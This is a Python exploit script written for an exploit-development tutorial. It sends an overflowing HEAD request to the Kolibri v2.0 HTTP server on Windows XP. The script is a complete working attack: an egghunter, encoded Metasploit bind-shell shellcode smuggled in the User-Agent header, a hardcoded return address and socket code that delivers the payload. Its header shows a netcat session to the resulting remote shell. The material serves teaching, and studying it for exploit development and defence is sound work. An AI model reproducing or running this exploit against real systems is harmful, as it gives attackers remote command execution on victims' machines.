#!/usr/bin/python
 
#-------------------------------------------------------------------------------#
# Exploit: Kolibri v2.0 HTTP Server HEAD (egghunter)                            #
# Author: b33f (Ruben Boonen) - http://www.fuzzysecurity.com/                   #
# OS: WinXP PRO SP3                                                             #
# Software: http://cdn01.exploit-db.com/wp-content/themes/exploit/applications/ #
#           f248239d09b37400e8269cb1347c240e-BladeAPIMonitor-3.6.9.2.Setup.exe  #
#-------------------------------------------------------------------------------#
# This exploit was created for Part 4 of my Exploit Development tutorial        #
# series - http://www.fuzzysecurity.com/tutorials/expDev/4.html                 #
#-------------------------------------------------------------------------------#
# root@bt:~/Desktop# nc -nv 192.168.111.128 9988                                #
# (UNKNOWN) [192.168.111.128] 9988 (?) open                                     #
# Microsoft Windows XP [Version 5.1.2600]                                       #
# (C) Copyright 1985-2001 Microsoft Corp.                                       #
#                                                                               #
# C:\Documents and Settings\Administrator\Desktop>                              #
#-------------------------------------------------------------------------------#
 
import socket
import os
import sys
 
#Egghunter
#Size 32-bytes
hunter = (
"\x66\x81\xca\xff"
"\x0f\x42\x52\x6a"
"\x02\x58\xcd\x2e"
"\x3c\x05\x5a\x74"
"\xef\xb8\x62\x33" #b3
"\x33\x66\x8b\xfa" #3f
"\xaf\x75\xea\xaf"
"\x75\xe7\xff\xe7")
 
#msfpayload windows/shell_bind_tcp LPORT=9988 R| msfencode -e x86/alpha_mixed -t c
#[*] x86/alpha_mixed succeeded with size 744 (iteration=1)
shellcode = (
"\xdb\xcf\xd9\x74\x24\xf4\x59\x49\x49\x49\x49\x49\x49\x49\x49"
"\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58"
"\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"
"\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x39\x6c"
"\x4a\x48\x6d\x59\x67\x70\x77\x70\x67\x70\x53\x50\x4d\x59\x4b"
"\x55\x75\x61\x49\x42\x35\x34\x6c\x4b\x52\x72\x70\x30\x6c\x4b"
"\x43\x62\x54\x4c\x4c\x4b\x62\x72\x76\x74\x6c\x4b\x72\x52\x35"
"\x78\x36\x6f\x6e\x57\x42\x6a\x76\x46\x66\x51\x6b\x4f\x50\x31"
"\x69\x50\x6c\x6c\x75\x6c\x35\x31\x53\x4c\x46\x62\x34\x6c\x37"
"\x50\x6f\x31\x58\x4f\x74\x4d\x75\x51\x49\x57\x6d\x32\x4c\x30"
"\x66\x32\x31\x47\x4e\x6b\x46\x32\x54\x50\x4c\x4b\x62\x62\x45"
"\x6c\x63\x31\x68\x50\x4c\x4b\x61\x50\x42\x58\x4b\x35\x39\x50"
"\x33\x44\x61\x5a\x45\x51\x5a\x70\x66\x30\x6c\x4b\x57\x38\x74"
"\x58\x4c\x4b\x50\x58\x57\x50\x66\x61\x58\x53\x78\x63\x35\x6c"
"\x62\x69\x6e\x6b\x45\x64\x6c\x4b\x76\x61\x59\x46\x45\x61\x39"
"\x6f\x70\x31\x39\x50\x6c\x6c\x4f\x31\x48\x4f\x66\x6d\x45\x51"
"\x79\x57\x46\x58\x49\x70\x50\x75\x39\x64\x73\x33\x61\x6d\x59"
"\x68\x77\x4b\x53\x4d\x31\x34\x32\x55\x38\x62\x61\x48\x6c\x4b"
"\x33\x68\x64\x64\x76\x61\x4e\x33\x43\x56\x4c\x4b\x44\x4c\x70"
"\x4b\x6e\x6b\x51\x48\x35\x4c\x43\x31\x4b\x63\x4e\x6b\x55\x54"
"\x6e\x6b\x47\x71\x48\x50\x4c\x49\x31\x54\x45\x74\x36\x44\x43"
"\x6b\x43\x6b\x65\x31\x52\x79\x63\x6a\x72\x71\x39\x6f\x6b\x50"
"\x56\x38\x33\x6f\x50\x5a\x4c\x4b\x36\x72\x38\x6b\x4c\x46\x53"
"\x6d\x42\x48\x47\x43\x55\x62\x63\x30\x35\x50\x51\x78\x61\x67"
"\x43\x43\x77\x42\x31\x4f\x52\x74\x35\x38\x70\x4c\x74\x37\x37"
"\x56\x37\x77\x4b\x4f\x78\x55\x6c\x78\x4c\x50\x67\x71\x67\x70"
"\x75\x50\x64\x69\x49\x54\x36\x34\x36\x30\x35\x38\x71\x39\x6f"
"\x70\x42\x4b\x55\x50\x79\x6f\x4a\x75\x66\x30\x56\x30\x52\x70"
"\x76\x30\x77\x30\x66\x30\x73\x70\x66\x30\x62\x48\x68\x6a\x54"
"\x4f\x4b\x6f\x4b\x50\x79\x6f\x78\x55\x4f\x79\x59\x57\x75\x61"
"\x6b\x6b\x42\x73\x51\x78\x57\x72\x35\x50\x55\x77\x34\x44\x4d"
"\x59\x4d\x36\x33\x5a\x56\x70\x66\x36\x43\x67\x63\x58\x38\x42"
"\x4b\x6b\x64\x77\x50\x67\x39\x6f\x4a\x75\x66\x33\x33\x67\x73"
"\x58\x4f\x47\x4d\x39\x55\x68\x69\x6f\x49\x6f\x5a\x75\x33\x63"
"\x32\x73\x53\x67\x42\x48\x71\x64\x6a\x4c\x47\x4b\x59\x71\x59"
"\x6f\x5a\x75\x30\x57\x4f\x79\x78\x47\x61\x78\x34\x35\x30\x6e"
"\x70\x4d\x63\x51\x39\x6f\x69\x45\x72\x48\x75\x33\x50\x6d\x55"
"\x34\x57\x70\x6f\x79\x5a\x43\x43\x67\x71\x47\x31\x47\x54\x71"
"\x5a\x56\x32\x4a\x52\x32\x50\x59\x66\x36\x58\x62\x39\x6d\x71"
"\x76\x4b\x77\x31\x54\x44\x64\x65\x6c\x77\x71\x37\x71\x4c\x4d"
"\x37\x34\x57\x54\x34\x50\x59\x56\x55\x50\x43\x74\x61\x44\x46"
"\x30\x73\x66\x30\x56\x52\x76\x57\x36\x72\x76\x42\x6e\x46\x36"
"\x66\x36\x42\x73\x50\x56\x65\x38\x42\x59\x7a\x6c\x67\x4f\x4e"
"\x66\x79\x6f\x4a\x75\x4d\x59\x6b\x50\x62\x6e\x76\x36\x42\x66"
"\x4b\x4f\x36\x50\x71\x78\x54\x48\x4c\x47\x75\x4d\x51\x70\x4b"
"\x4f\x48\x55\x6f\x4b\x6c\x30\x78\x35\x6f\x52\x33\x66\x33\x58"
"\x6c\x66\x4f\x65\x6f\x4d\x4f\x6d\x6b\x4f\x7a\x75\x75\x6c\x56"
"\x66\x51\x6c\x65\x5a\x4b\x30\x79\x6b\x69\x70\x51\x65\x77\x75"
"\x6d\x6b\x30\x47\x36\x73\x31\x62\x62\x4f\x32\x4a\x47\x70\x61"
"\x43\x4b\x4f\x4b\x65\x41\x41")
 
#-------------------------------------------------------------------------------#
# badchars: \x00\x0d\x0a\x3d\x20\x3f                                            #
#-------------------------------------------------------------------------------#
# Stage1:                                                                       #
# (1) EIP: 0x77C35459 push esp # ret | msvcrt.dll                               #
# (2) ESP: jump back 60 bytes in the buffer => \xEB\xC4                         #
# (3) Enough room for egghunter; marker "b33f"                                  #
#-------------------------------------------------------------------------------#
# Stage2:                                                                       #
# (*) For reliability we use the x86/alpha_mixed encoder (we have as much space #
#     as we could want), possibly this region of memory has a different set of  #
#     badcharacters.                                                            #
# (4) We embed the final stage payload in the HTTP header, which will be put    #
#     somewhere in memory at the time of the initial crash, b00m Game Over!!    #
#-------------------------------------------------------------------------------#
 
Stage1 = "A"*478 + hunter + "A"*5 + "\x59\x54\xC3\x77" + "\xEB\xC4"
Stage2 = "b33fb33f" + shellcode
                                                                                                                          
buffer = (
"HEAD /" + Stage1 + " HTTP/1.1\r\n"
"Host: 192.168.111.128:8080\r\n"
"User-Agent: " + Stage2 + "\r\n"
"Keep-Alive: 115\r\n"
"Connection: keep-alive\r\n\r\n")
 
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect(("192.168.111.128", 8080))
expl.send(buffer)
expl.close()